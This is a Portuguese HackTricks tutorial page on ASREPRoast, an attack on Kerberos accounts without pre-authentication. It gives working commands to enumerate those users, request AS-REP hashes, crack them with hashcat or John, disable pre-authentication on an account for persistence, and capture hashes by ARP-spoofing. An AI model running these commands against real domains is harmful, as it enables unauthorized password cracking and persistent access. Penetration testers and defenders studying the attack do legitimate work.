ASREPRoast
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
ASREPRoast
ASREPRoast é um ataque de segurança que explora usuários que não possuem o atributo requerido de pré-autenticação Kerberos. Essencialmente, essa vulnerabilidade permite que atacantes solicitem autenticação para um usuário do Controlador de Domínio (DC) sem precisar da senha do usuário. O DC então responde com uma mensagem criptografada com a chave derivada da senha do usuário, que os atacantes podem tentar quebrar offline para descobrir a senha do usuário.
Os principais requisitos para este ataque são:
- Falta de pré-autenticação Kerberos: Os usuários-alvo não devem ter esse recurso de segurança habilitado.
- Conexão ao Controlador de Domínio (DC): Os atacantes precisam de acesso ao DC para enviar solicitações e receber mensagens criptografadas.
- Conta de domínio opcional: Ter uma conta de domínio permite que os atacantes identifiquem usuários vulneráveis de forma mais eficiente por meio de consultas LDAP. Sem essa conta, os atacantes devem adivinhar nomes de usuário.
Enumerando usuários vulneráveis (necessita de credenciais de domínio)
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
Solicitar mensagem AS_REP
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
warning
AS-REP Roasting com Rubeus gerará um 4768 com um tipo de criptografia de 0x17 e um tipo de pré-autenticação de 0.
Quebra
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
Persistência
Force preauth não é necessário para um usuário onde você tem permissões GenericAll (ou permissões para escrever propriedades):
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH 'target_user'
ASREProast sem credenciais
Um atacante pode usar uma posição de man-in-the-middle para capturar pacotes AS-REP enquanto eles atravessam a rede, sem depender da desativação da pré-autenticação do Kerberos. Portanto, funciona para todos os usuários na VLAN.
ASRepCatcher nos permite fazer isso. Além disso, a ferramenta força as estações de trabalho dos clientes a usarem RC4 ao alterar a negociação do Kerberos.
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP
# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing
# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.